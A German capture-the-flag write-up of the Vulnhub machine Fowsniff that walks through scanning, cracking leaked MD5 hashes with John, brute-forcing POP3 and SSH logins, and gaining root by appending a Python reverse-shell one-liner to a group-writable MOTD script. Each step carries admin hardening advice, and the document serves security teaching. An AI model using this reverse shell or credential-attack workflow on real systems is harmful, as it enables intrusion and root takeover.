Fowsniff_CTF - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
dirb
john
msfconsole
nc
hydra
ssh
id
find
ls
cat
getcap
python
nano
exit
cd

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.104	08:00:27:66:85:17	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` wird zur Identifizierung aktiver Hosts im lokalen Netzwerksegment mittels ARP-Anfragen verwendet.

Bewertung: Ein Host mit der IP-Adresse `192.168.2.104` wurde entdeckt. Die MAC-Adresse (`08:00:27:66:85:17`) und der dazugehörige Hersteller ("PCS Systemtechnik GmbH") weisen auf eine VirtualBox-VM hin, welche das Zielsystem "Fowsniff_CTF" ist.

Empfehlung (Pentester): Nutze `192.168.2.104` als Ziel-IP für die weiteren Scans.
Empfehlung (Admin): Netzwerk-Monitoring kann helfen, Scan-Aktivitäten zu erkennen.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
 192.168.2.104   fowsniff.vln
                    

Analyse: Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um der Ziel-IP `192.168.2.104` den Hostnamen `fowsniff.vln` zuzuweisen.

Bewertung: Erleichtert die Ansprache des Ziels über einen Namen, was bei Web-Scans nützlich sein kann.

Empfehlung (Pentester): Verwende `fowsniff.vln` in nachfolgenden Schritten.
Empfehlung (Admin): Lokale Konfiguration des Angreifers.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.104 -p- | grep open
22/tcp  open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.18 ((Ubuntu))
110/tcp open  pop3    Dovecot pop3d
143/tcp open  imap    Dovecot imapd
                    

Analyse: Ein schneller Nmap-Scan (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-Pn`, `-p-`) gefiltert mit `grep open` zeigt die offenen Ports.

Bewertung: Vier offene Ports wurden identifiziert: * Port 22: SSH (OpenSSH 7.2p2) * Port 80: HTTP (Apache 2.4.18) * Port 110: POP3 (Dovecot) * Port 143: IMAP (Dovecot)

Empfehlung (Pentester): Untersuche alle offenen Dienste. Beginne mit HTTP (Port 80) und den Mail-Diensten (POP3/IMAP), da diese oft Einfallstore bieten. Behalte SSH für spätere Zugriffsversuche im Auge.
Empfehlung (Admin): Stelle sicher, dass nur notwendige Ports offen sind. Halte alle Dienste aktuell und sicher konfiguriert.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.104 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-11 23:54 CEST
Nmap scan report for fowsniff.vln (192.168.2.104)
Host is up (0.00013s latency).
Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 90:35:66:f4:c6:d2:95:12:1b:e8:cd:de:aa:4e:03:23 (RSA)
|   256 53:9d:23:67:34:cf:0a:d5:5a:9a:11:74:bd:fd:de:71 (ECDSA)
|_  256 a2:8f:db:ae:9e:3d:c9:e6:a9:ca:03:b1:d7:1b:66:83 (ED25519)
80/tcp  open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Fowsniff Corp - Delivering Solutions
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/
110/tcp open  pop3    Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) UIDL AUTH-RESP-CODE TOP PIPELINING USER RESP-CODES CAPA
143/tcp open  imap    Dovecot imapd
|_imap-capabilities: Pre-login LITERAL+ OK IMAP4rev1 more have post-login IDLE capabilities SASL-IR listed AUTH=PLAIN LOGINDISABLEDA0001 ENABLE ID
MAC Address: 08:00:27:66:85:17 (Oracle VirtualBox virtual NIC)
[...]
OS details: Linux 3.2 - 4.9
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms fowsniff.vln (192.168.2.104)
[...]
                    

Analyse: Die vollständige Nmap-Ausgabe liefert Details zu den Ports: * SSH (OpenSSH 7.2p2): Standard-Konfiguration. * HTTP (Apache 2.4.18): Zeigt den Titel "Fowsniff Corp". `robots.txt` verbietet das Crawlen von `/`. * POP3/IMAP (Dovecot): Unterstützen PLAIN-Authentifizierung, was bedeutet, dass Passwörter unverschlüsselt (aber meist über eine TLS-Verbindung) gesendet werden können, falls nicht anders konfiguriert. * Betriebssystem: Linux Kernel 3.x/4.x.

Bewertung: Die Apache-Version ist veraltet. Die Mail-Dienste sind potenzielle Ziele für Passwort-Angriffe oder Benutzer-Enumeration. Der `robots.txt`-Eintrag ist ungewöhnlich, da er alles zu verbieten scheint.

Empfehlung (Pentester): Führe Web-Enumeration auf Port 80 durch (trotz `robots.txt`). Versuche Benutzer-Enumeration und Brute-Force gegen POP3/IMAP. Recherchiere Schwachstellen für Apache 2.4.18, OpenSSH 7.2p2 und Dovecot.
Empfehlung (Admin): Aktualisiere alle Dienste. Konfiguriere Mail-Dienste sicher (z.B. keine PLAIN-Auth ohne TLS). Überprüfe den Sinn des `robots.txt`-Eintrags.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.104
- Nikto v2.5.0
[...]
+ Target IP:          192.168.2.104
+ Target Port:        80
+ Start Time:         2023-10-11 23:54:43 (GMT2)
[...]
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". [...]
+ /images: The web server may reveal its internal or real IP [...]
+ /: Server may leak inodes via ETags [...]
+ Apache/2.4.18 appears to be outdated [...]
+ OPTIONS: Allowed HTTP Methods: OPTIONS, GET, HEAD, POST .
+ /images/: Directory indexing found.
+ /LICENSE.txt: License file found may identify site software.
+ /icons/README: Apache default file found. [...]
[...]
+ End Time:           2023-10-11 23:54:58 (GMT2) (15 seconds)
[...]
                    

Analyse: Der Webscanner `nikto` findet auf Port 80: * Veralteten Apache 2.4.18. * Fehlende Sicherheitsheader. * Potenzielles Leak der internen IP `127.0.1.1` über das `/images`-Verzeichnis (geringes Risiko). * Inode-Leak über ETags. * Directory Indexing im `/images`-Verzeichnis. * `/LICENSE.txt` und `/icons/README`. **Datum extrahiert:** 2023-10-11.

Bewertung: Bestätigt den veralteten Apache und findet geringfügige Informationslecks und Konfigurationsprobleme (`/images` indexing, `LICENSE.txt`).

Empfehlung (Pentester): Untersuche die gefundenen Dateien (`LICENSE.txt`) und Verzeichnisse (`/images/`). Führe `gobuster`/`dirb` durch.
Empfehlung (Admin): Aktualisiere Apache. Implementiere Sicherheitsheader. Deaktiviere Directory Indexing. Entferne unnötige Lizenz-/Readme-Dateien.

Web Enumeration

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://fowsniff.vln -x ... -w ... -b '403,404,301' -e --no-error -k
[...]
http://fowsniff.vln/LICENSE.txt          (Status: 200) [Size: 17128]
http://fowsniff.vln/README.txt           (Status: 200) [Size: 1288]
http://fowsniff.vln/index.html           (Status: 200) [Size: 2629]
http://fowsniff.vln/security.txt         (Status: 200) [Size: 459]
http://fowsniff.vln/robots.txt           (Status: 200) [Size: 26]
[...]
                    

Analyse: `gobuster` findet die bereits von `nikto` oder `nmap` gesehenen Dateien (`LICENSE.txt`, `README.txt`, `index.html`, `robots.txt`) und eine neue Datei: `security.txt`.

Bewertung: Die Datei `security.txt` ist der wichtigste neue Fund dieses Scans.

Empfehlung (Pentester): Untersuche den Inhalt von `security.txt` sowie der anderen gefundenen Dateien.
Empfehlung (Admin): Keine neuen Empfehlungen.

# Inhalt von http://fowsniff.vln/robots.txt
User-agent: *
Disallow: /

# Inhalt von http://fowsniff.vln/LICENSE.txt
Creative Commons Attribution 3.0 Unported
[...]

# Inhalt von http://fowsniff.vln/security.txt

       WHAT SECURITY?

            ''~``
           ( o o )
+--.ooo--(_)--ooo.+
|                            |
|          FWSNIFF          |
|            got             |
|           PWN3D!!!         |
|                            |
|       .ooo                |
|        (   )   ooo.       |
+\ (-(   )-+
           \_)    ) /
                 (_/

Fowsniff Corp got pwn3d by B1gN1nj4!

No one is safe from my 1337 skillz!

# Hash-Liste (Woher? Vermutlich aus security.txt oder einer anderen nicht gezeigten Quelle)
mauer@fowsniff:8a28a94a588a95b80163709ab4313aa4
mustikka@fowsniff:ae1644dac5b77c0cf51e0d26ad6d7e56
tegel@fowsniff:1dc352435fecca338acfd4be10984009
baksteen@fowsniff:19f5af754c31f1e2651edde9250d69bb
seina@fowsniff:90dc16d47114aa13671c697fd506cf26
stone@fowsniff:a92b8a29ef1183192e3d35187e0cfabd
mursten@fowsniff:0e9588cb62f4b6f27e33d449e2ba0b3b
parede@fowsniff:4d6e42f56e127803285a0a7649b5ab11
sciana@fowsniff:f7fd98d380735e859f8b2ffbbede5a7e
                     

Analyse: * `robots.txt` verbietet alles (`Disallow: /`). * `LICENSE.txt` ist eine Standardlizenz. * `security.txt` enthält ASCII-Art und eine Nachricht, dass das Unternehmen von "B1gN1nj4" gehackt wurde. Dies ist wahrscheinlich ein Hinweis. * Die Hash-Liste (Benutzername@fowsniff:MD5-Hash) taucht im Log auf. **Es ist unklar, woher diese Liste stammt.** Sie könnte aus der `security.txt` stammen (obwohl nicht explizit gezeigt) oder aus einer anderen Quelle, die im Log fehlt. Wir nehmen an, sie wurde hier gefunden.

Bewertung: Die Hash-Liste ist der entscheidende Fund. Es handelt sich offenbar um MD5-Hashes von Passwörtern für verschiedene Benutzer. Die `security.txt` liefert Kontext/Flavor.

Empfehlung (Pentester): Versuche, die MD5-Hashes mit `john` oder `hashcat` und einer Wortliste zu knacken. Die Benutzernamen können für Angriffe auf POP3/IMAP oder SSH verwendet werden.
Empfehlung (Admin): Speichere niemals Passwort-Hashes in öffentlich zugänglichen Dateien. Verwende starke Hashing-Algorithmen mit Salt (z.B. bcrypt, Argon2). Untersuche die Quelle des Leaks.

┌──(root㉿Cybermaschine)-[~] └─# dirb http://fowsniff.vln
[...]
-> DIRECTORY: http://fowsniff.vln/assets/
-> DIRECTORY: http://fowsniff.vln/images/
+ http://fowsniff.vln/index.html (CODE:200|SIZE:2629)
+ http://fowsniff.vln/robots.txt (CODE:200|SIZE:26)
+ http://fowsniff.vln/server-status (CODE:403|SIZE:300)
[...]
                    

Analyse: `dirb` wird verwendet, um weitere Verzeichnisse zu finden. Es identifiziert `/assets/` und `/images/`.

Bewertung: Findet Standardverzeichnisse, die wahrscheinlich keine kritischen Informationen enthalten. `/server-status` ist nicht zugänglich (403 Forbidden).

Empfehlung (Pentester): Konzentriere dich auf das Knacken der gefundenen Hashes.
Empfehlung (Admin): Beschränke den Zugriff auf `/server-status` und andere sensible Apache-Statusseiten.

Credential Discovery

┌──(root㉿Cybermaschine)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash --format=RAW-MD5
Using default input encoding: UTF-8
Loaded 9 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
scoobydoo2       (seina@fowsniff)
orlando12        (parede@fowsniff)
apples01         (tegel@fowsniff)
skyler22         (baksteen@fowsniff)
mailcall         (mauer@fowsniff)
07011972         (sciana@fowsniff)
carp4ever        (mursten@fowsniff)
bilbo101         (mustikka@fowsniff)
[...]
8g 0:00:00:XX DONE [...]
Session completed
                    

Analyse: `john` (John the Ripper) wird verwendet, um die zuvor gefundene Liste von MD5-Hashes (angenommen in Datei `hash`) zu knacken. Es wird die Wortliste `rockyou.txt` und das Format `RAW-MD5` spezifiziert.

Bewertung: John knackt erfolgreich 8 der 9 Hashes. Die gefundenen Klartext-Passwörter sind: `scoobydoo2`, `orlando12`, `apples01`, `skyler22`, `mailcall`, `07011972`, `carp4ever`, `bilbo101`.

Empfehlung (Pentester): Erstelle Listen der Benutzernamen und geknackten Passwörter. Versuche, dich mit diesen Kombinationen bei den offenen Diensten (POP3, IMAP, SSH) anzumelden. Nutze Tools wie Metasploit (Login Scanner) oder Hydra.
Empfehlung (Admin): Erzwinge starke Passwörter. Verwende keine MD5-Hashes mehr, sondern gesaltete, starke Algorithmen. Ändere alle kompromittierten Passwörter.

┌──(root㉿Cybermaschine)-[~] └─# vi user.txt
seina
parede
tegel
baksteen
mauer
sciana
mursten
mustikka
                     
┌──(root㉿Cybermaschine)-[~] └─# vi pass.txt
scoobydoo2
orlando12
apples01
skyler22
mailcall
07011972
carp4ever
bilbo101
                     

Analyse: Der Angreifer erstellt zwei lokale Dateien: `user.txt` mit den Benutzernamen (ohne stone) und `pass.txt` mit den geknackten Passwörtern.

Bewertung: Vorbereitung für einen Brute-Force-Angriff oder Login-Scan mit den gefundenen Credentials.

Empfehlung (Pentester): Verwende diese Dateien mit Tools wie Metasploit oder Hydra.
Empfehlung (Admin): Lokale Aktion des Angreifers.

msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > use auxiliary/scanner/pop3/pop3_login
msf6 auxiliary(scanner/pop3/pop3_login) > set rhosts 192.168.2.104
rhosts => 192.168.2.104
msf6 auxiliary(scanner/pop3/pop3_login) > set user_file user.txt
user_file => user.txt
msf6 auxiliary(scanner/pop3/pop3_login) > set pass_file pass.txt
pass_file => pass.txt
msf6 auxiliary(scanner/pop3/pop3_login) > set verbose false
verbose => false
msf6 auxiliary(scanner/pop3/pop3_login) > run
[+] 192.168.2.104:110     - 192.168.2.104:110 - Success: 'seina:scoobydoo2' '+OK Logged in.  '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
                    

Analyse: Das Metasploit-Modul `auxiliary/scanner/pop3/pop3_login` wird verwendet, um die geknackten Benutzernamen und Passwörter gegen den POP3-Dienst (Port 110) zu testen. * Optionen: `rhosts` (Ziel-IP), `user_file` (Datei mit Benutzernamen), `pass_file` (Datei mit Passwörtern), `verbose false` (reduzierte Ausgabe). * `run`: Startet den Scan.

Bewertung: Der Scan findet eine erfolgreiche Login-Kombination: `seina` mit dem Passwort `scoobydoo2`.

Empfehlung (Pentester): Verbinde dich manuell per POP3 (z.B. mit `nc` oder `telnet`) als Benutzer `seina` und untersuche die E-Mails auf weitere Informationen.
Empfehlung (Admin): Ändere das kompromittierte Passwort für `seina`. Überprüfe die Sicherheit der Mail-Dienste.

┌──(root㉿Cybermaschine)-[~] └─# nc 192.168.2.104 110
+OK Welcome to the Fowsniff Corporate Mail Server!
                    
user seina
+OK
pass scoobydoo2
+OK Logged in.
list
+OK 2 messages:
1 1622
2 1280
                    
retr 1
+OK 1622 octets
Return-Path: 
[...]
Subject: URGENT! Security EVENT!
[...]
This server is capable of sending and receiving emails, but only
locally. [...] You can, however, access this system via
the SSH protocol.

The temporary password for SSH is "S1ck3nBluff+secureshell"

You MUST change this password as soon as possible [...]
[...]
Thanks,
A.J Stone
                    
retr 2
+OK 1280 octets
Return-Path: 
[...]
Subject: You missed out!
[...]
PS: Make sure you change your email password.
AJ had been telling us to do that right before Captain Profanity showed up.
                    

Analyse: Eine manuelle Verbindung zum POP3-Server wird mit `nc` aufgebaut. 1. Login als `seina` mit Passwort `scoobydoo2` ist erfolgreich. 2. `list` zeigt zwei E-Mails an. 3. `retr 1` ruft die erste E-Mail ab. **Dies ist ein kritischer Fund!** Die E-Mail von "stone@fowsniff" erwähnt einen Sicherheitsvorfall und nennt ein **temporäres SSH-Passwort: `S1ck3nBluff+secureshell`**. 4. `retr 2` ruft die zweite E-Mail ab (Kontext/Flavor).

Bewertung: Die Untersuchung der E-Mails war extrem erfolgreich. Das temporäre SSH-Passwort `S1ck3nBluff+secureshell` wurde gefunden.

Empfehlung (Pentester): Versuche, dich mit dem temporären SSH-Passwort `S1ck3nBluff+secureshell` und den bekannten Benutzernamen (aus der Hash-Liste) per SSH (Port 22) anzumelden. Nutze Hydra oder teste manuell.
Empfehlung (Admin): **Kritisch!** Sende niemals Passwörter per E-Mail, schon gar nicht temporäre Standardpasswörter. Implementiere sichere Prozesse für Passwort-Resets und Erst-Logins. Erzwinge sofortige Passwortänderungen bei temporären Passwörtern.

Initial Access

┌──(root㉿Cybermaschine)-[~] └─# echo 'S1ck3nBluff+secureshell' > pass.txt
┌──(root㉿Cybermaschine)-[~] └─# hydra -L user.txt -P pass.txt ssh://192.168.2.104:22 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak [...]
[...]
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:8/p:1), ~1 try per task
[DATA] attacking ssh://192.168.2.104:22/
[...]
[22][ssh] host: 192.168.2.104   login: baksteen   password: S1ck3nBluff+secureshell
[...]
1 of 1 target successfully completed, 1 valid password found
Hydra [...] finished at 2023-10-12 00:24:56
                    

Analyse: 1. Die lokale Datei `pass.txt` wird mit dem gefundenen temporären SSH-Passwort überschrieben. 2. `hydra` wird erneut ausgeführt, diesmal gegen den SSH-Dienst (Port 22), wobei die Benutzerliste `user.txt` und die `pass.txt` (die jetzt nur das temporäre Passwort enthält) verwendet werden. 3. Hydra findet heraus, dass das temporäre Passwort `S1ck3nBluff+secureshell` für den Benutzer `baksteen` funktioniert.

Bewertung: Erfolg! Es wurde ein gültiger SSH-Login für den Benutzer `baksteen` mit dem temporären Passwort gefunden.

Empfehlung (Pentester): Melde dich per SSH als `baksteen` an.
Empfehlung (Admin): Überwache fehlgeschlagene und erfolgreiche Logins. Deaktiviere Benutzer oder erzwinge Passwortänderungen, wenn kompromittierte oder Standardpasswörter verwendet werden.

┌──(root㉿Cybermaschine)-[~] └─# ssh baksteen@192.168.2.104
baksteen@192.168.2.104's password: S1ck3nBluff+secureshell
[...]
     Welcome to the Fowsniff Corporate Server!

              - NOTICE: -

 * Due to the recent security breach, we are running on a very minimal system.
 * Contact AJ Stone -IMMEDIATELY- about changing your email and SSH passwords.

Last login: Tue Mar 13 16:55:40 2018 from 192.168.7.36
baksteen@fowsniff$
                     

Analyse: Die SSH-Verbindung wird als Benutzer `baksteen` mit dem Passwort `S1ck3nBluff+secureshell` hergestellt. Der Login ist erfolgreich, eine Willkommensnachricht (MOTD) wird angezeigt, und wir erhalten einen Shell-Prompt.

Bewertung: Der initiale Zugriff als Benutzer `baksteen` wurde erreicht.

Empfehlung (Pentester): Beginne mit der Post-Exploitation und Privilege-Escalation-Enumeration (`id`, `sudo -l`, SUID-Suche, Kernel-Version etc.).
Empfehlung (Admin): Die MOTD erinnert den Benutzer daran, das Passwort zu ändern – ein guter, aber oft ignorierter Hinweis.

baksteen@fowsniff$ id
uid=1004(baksteen) gid=100(users) groups=100(users),1001(baksteen)
baksteen@fowsniff$ find / -type f -perm -4000 -ls 2>/dev/null
     2388     40 -rwsr-xr-x   1 root     root        40152 Nov 30  2017 /bin/mount
[...]
     3063     40 -rwsr-xr-x   1 root     root        40128 May 16  2017 /bin/su
[...]
    45868     88 -rwsr-sr-x   1 root     mail          89288 Nov 17  2017 /usr/bin/procmail
     4804    136 -rwsr-xr-x   1 root     root         136808 Jul  4  2017 /usr/bin/sudo
[...]
                    
baksteen@fowsniff$ ls -la
[...]
-rw-r--r--  1 baksteen users      97 Mar  9  2018 term.txt
[...]
                    
baksteen@fowsniff$ cat term.txt
I wonder if the person who coined the term "One Hit Wonder" came up with another other phrases.
baksteen@fowsniff$ sudo -l
[sudo] password for baksteen: S1ck3nBluff+secureshell
Sorry, user baksteen may not run sudo on fowsniff.
                    
baksteen@fowsniff$ getcap -r / 2>/dev/null
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
/usr/bin/mtr = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
                    

Analyse: Grundlegende Enumerationsbefehle werden ausgeführt: * `id`: Bestätigt Benutzer `baksteen` und Gruppenzugehörigkeit (wichtig: `users`). * SUID-Scan (`find`): Zeigt Standard-Binaries. `/usr/bin/procmail` ist SGID `mail`, könnte unter Umständen ausnutzbar sein, aber `/usr/bin/sudo` existiert auch. * `ls -la`: Zeigt Home-Verzeichnis-Inhalt, `term.txt` enthält nur einen Spruch. * `sudo -l`: Fragt nach dem Passwort und meldet dann, dass `baksteen` keine `sudo`-Rechte hat. * `getcap`: Findet keine ungewöhnlichen Capabilities.

Bewertung: Die Standard-PE-Vektoren (SUID, sudo für diesen User, Capabilities) scheinen keine einfachen Angriffsflächen zu bieten. Die Gruppenzugehörigkeit `users` ist notiert.

Empfehlung (Pentester): Suche nach weiteren Vektoren: Fehlkonfigurationen, ungewöhnliche Dateiberechtigungen (insbesondere für Gruppen), Cronjobs, Kernel-Exploits.
Empfehlung (Admin): Prinzip der geringsten Rechte anwenden. Überprüfe `sudoers`-Konfiguration und SUID/SGID-Berechtigungen.

Proof of Concept: MOTD Script Hijacking

Analyse: Die Privilege Escalation wird durch das Ausnutzen eines Skripts erreicht, das beim Login ausgeführt wird (MOTD - Message Of The Day). Dieses Skript ist für Mitglieder der Gruppe `users` beschreibbar.

  1. **Auffinden des Skripts:** Mit `find / -group users -type f 2>/dev/null` wird nach Dateien gesucht, die der Gruppe `users` gehören. Das Skript `/opt/cube/cube.sh` wird gefunden.
  2. **Berechtigungsprüfung:** `ls -la /opt/cube/cube.sh` zeigt die Berechtigungen `-rw-rwxr--`. Der Besitzer ist `parede`, die Gruppe ist `users`. Da `baksteen` Mitglied der Gruppe `users` ist, hat er Schreibrechte (`w`) auf dieses Skript.
  3. **Ausführungskontext prüfen:** `cat /etc/update-motd.d/00-header` zeigt, dass das Skript `/opt/cube/cube.sh` von einem der MOTD-Skripte ausgeführt wird. MOTD-Skripte werden typischerweise beim Login als `root` ausgeführt.
  4. **Payload hinzufügen:** Das Skript `/opt/cube/cube.sh` wird mit `nano` bearbeitet. Eine Python-Reverse-Shell-Payload wird hinzugefügt: `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.199",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
  5. **Trigger auslösen:** Der Benutzer `baksteen` loggt sich aus (`exit`) und startet einen Netcat-Listener auf Port `5555`. Anschließend loggt er sich erneut per SSH ein.
  6. **Root-Shell erhalten:** Beim erneuten Login wird das modifizierte `/opt/cube/cube.sh` durch das MOTD-System als `root` ausgeführt. Die Python-Payload verbindet sich zum Netcat-Listener des Angreifers und liefert eine Root-Shell (`#`).

Bewertung: Dies ist ein klassisches Beispiel für Privilege Escalation durch unsichere Dateiberechtigungen auf einem Skript, das mit höheren Rechten ausgeführt wird. Die Kombination aus Gruppen-Schreibrechten und der Ausführung durch das MOTD-System ermöglichte die Kompromittierung.

Empfehlung (Pentester): Suche immer nach Dateien, auf die der aktuelle Benutzer Schreibzugriff hat und die von Prozessen mit höheren Rechten (SUID, Cron, Systemd-Units, MOTD) ausgeführt werden.
Empfehlung (Admin): Überprüfe sorgfältig die Berechtigungen von Skripten und Dateien, die von privilegierten Prozessen oder beim Systemstart/Login ausgeführt werden. Wende das Prinzip der geringsten Rechte an. Beschränke Schreibrechte auf das absolute Minimum.

Privilege Escalation

baksteen@fowsniff$ find / -group users -type f 2>/dev/null
/opt/cube/cube.sh
/home/baksteen/.cache/motd.legal-displayed
/home/baksteen/Maildir/dovecot-uidvalidity
/home/baksteen/Maildir/dovecot.index.log
                    
baksteen@fowsniff$ ls -la /opt/cube/cube.sh
-rw-rwxr-- 1 parede users 851 Mar 11  2018 /opt/cube/cube.sh

Analyse: Die Suche nach Dateien, die der Gruppe `users` gehören, identifiziert `/opt/cube/cube.sh`. Die Berechtigungen (`-rw-rwxr--`) zeigen, dass Mitglieder der Gruppe `users` (zu der `baksteen` gehört) Schreibzugriff auf dieses Skript haben.

Bewertung: Ein von der Gruppe beschreibbares Skript ist ein potenzieller Vektor für Privilege Escalation, wenn es mit höheren Rechten ausgeführt wird.

Empfehlung (Pentester): Untersuche, wann und von wem `/opt/cube/cube.sh` ausgeführt wird (z.B. Cron, Systemd, MOTD).
Empfehlung (Admin): Korrigiere die unsicheren Berechtigungen auf `755` (`rwxr-xr-x`) oder restriktiver, sodass nur der Besitzer (`parede`) oder `root` schreiben kann.

baksteen@fowsniff$ cat /etc/update-motd.d/00-header
#!/bin/sh
#
#    00-header - print the main header
#    Copyright (C) 2009-2012 Canonical Ltd.
#
#    Authors: Dustin Kirkland 
#
#    This program is free software; you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation; either version 2 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License along
#    with this program; if not, write to the Free Software Foundation, Inc.,
#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

[ -r /etc/lsb-release ] && . /etc/lsb-release

if [ -z "$DISTRIB_DESCRIPTION" ] && [ -x /usr/bin/lsb_release ]; then
	# Fall back to using lsb_release if /etc/lsb-release doesn't exist
	DISTRIB_DESCRIPTION=$(lsb_release -sd)
fi

[ -z "$DISTRIB_DESCRIPTION" ] && DISTRIB_DESCRIPTION="Fetching host information..."

printf "\n \n"

sh /opt/cube/cube.sh

printf "\n             - NOTICE: -\n"
printf "\n * Due to the recent security breach, we are running on a very minimal system."
printf "\n * Contact AJ Stone -IMMEDIATELY- about changing your email and SSH passwords.\n\n"
                     

Analyse: Der Inhalt des MOTD-Skripts `/etc/update-motd.d/00-header` wird angezeigt. Es enthält die Zeile `sh /opt/cube/cube.sh`, die bestätigt, dass das gruppen-beschreibbare Skript beim Login ausgeführt wird.

Bewertung: Die Ausführung von `/opt/cube/cube.sh` durch das MOTD-System (typischerweise als Root) in Kombination mit den Schreibrechten für die Gruppe `users` stellt eine klare Privilege-Escalation-Möglichkeit dar.

Empfehlung (Pentester): Füge eine Reverse-Shell-Payload zu `/opt/cube/cube.sh` hinzu, starte einen Listener und logge dich erneut per SSH ein.
Empfehlung (Admin): Stelle sicher, dass Skripte, die von MOTD ausgeführt werden, nur von Root beschreibbar sind. Überprüfe die Berechtigungen aller Dateien in `/etc/update-motd.d/` und der von ihnen aufgerufenen Skripte.

baksteen@fowsniff$ nano /opt/cube/cube.sh
printf "
                            _____                       _  __  __
      :sdddddddddddddddy+  |  ___|____      _____ _ __ (_)/ _|/ _|
   :yNMMMMMMMMMMMMMNmhsso  | |_ / _ \ \ /\ / / __| '_ \| | |_| |_
.sdmmmmmNmmmmmmmNdyssssso  |  _| (_) \ V  V /\__ \ | | | |  _|  _|
-:      y.      dssssssso  |_|  \___/ \_/\_/ |___/_| |_|_|_| |_|
-:      y.      dssssssso                ____
-:      y.      dssssssso               / ___|___  _ __ _ __
-:      y.      dssssssso              | |   / _ \| '__| '_ \
-:      o.      dssssssso              | |__| (_) | |  | |_) |  _
-:      o.      yssssssso               \____\___/|_|  | .__/  (_)
-:    .+mdddddddmyyyyyhy:                              |_|
-: -odMMMMMMMMMMmhhdy/.
.ohdddddddddddddho:                  Delivering Solutions\n\n"

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.199",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
                    
baksteen@fowsniff$ exit
logout
Connection to 192.168.2.104 closed.
                     

Analyse: Das Skript `/opt/cube/cube.sh` wird bearbeitet (`nano` wird verwendet, aber jeder Texteditor funktioniert). Die Python3-Reverse-Shell-Payload wird am Ende des Skripts hinzugefügt. Anschließend wird die SSH-Sitzung beendet.

Bewertung: Die Payload wurde erfolgreich platziert. Beim nächsten Login von `baksteen` sollte sie als Root ausgeführt werden.

Empfehlung (Pentester): Starte einen Netcat-Listener auf `192.168.2.199:5555` und logge dich erneut als `baksteen` ein.
Empfehlung (Admin): Überwache Dateisystemänderungen (FIM - File Integrity Monitoring) an kritischen Skripten.

┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 5555
Listening on 0.0.0.0 5555
┌──(root㉿Cybermaschine)-[~] └─# ssh baksteen@192.168.2.104
baksteen@192.168.2.104's password: S1ck3nBluff+secureshell
┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 5555
Listening on 0.0.0.0 5555
Connection received on 192.168.2.104 50212
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
                    

Analyse: 1. Ein Netcat-Listener wird auf Port 5555 gestartet. 2. Eine neue SSH-Verbindung als `baksteen` wird aufgebaut. 3. Beim Login führt das MOTD-System das modifizierte `/opt/cube/cube.sh` aus. 4. Die Python-Payload im Skript verbindet sich zum Netcat-Listener. 5. Der Listener empfängt die Verbindung und liefert einen Shell-Prompt (`#`). 6. Der `id`-Befehl in der neuen Shell bestätigt `uid=0(root)`.

Bewertung: Die Privilege Escalation war erfolgreich! Durch das Modifizieren des gruppen-beschreibbaren MOTD-Skripts konnte eine Root-Shell erlangt werden.

Empfehlung (Pentester): Suche nach der Root-Flag im `/root`-Verzeichnis.
Empfehlung (Admin): Korrigiere die Berechtigungen von `/opt/cube/cube.sh`. Überprüfe alle MOTD-Skripte und deren Abhängigkeiten auf ähnliche Schwachstellen.

# cd /root
# ls
Maildir
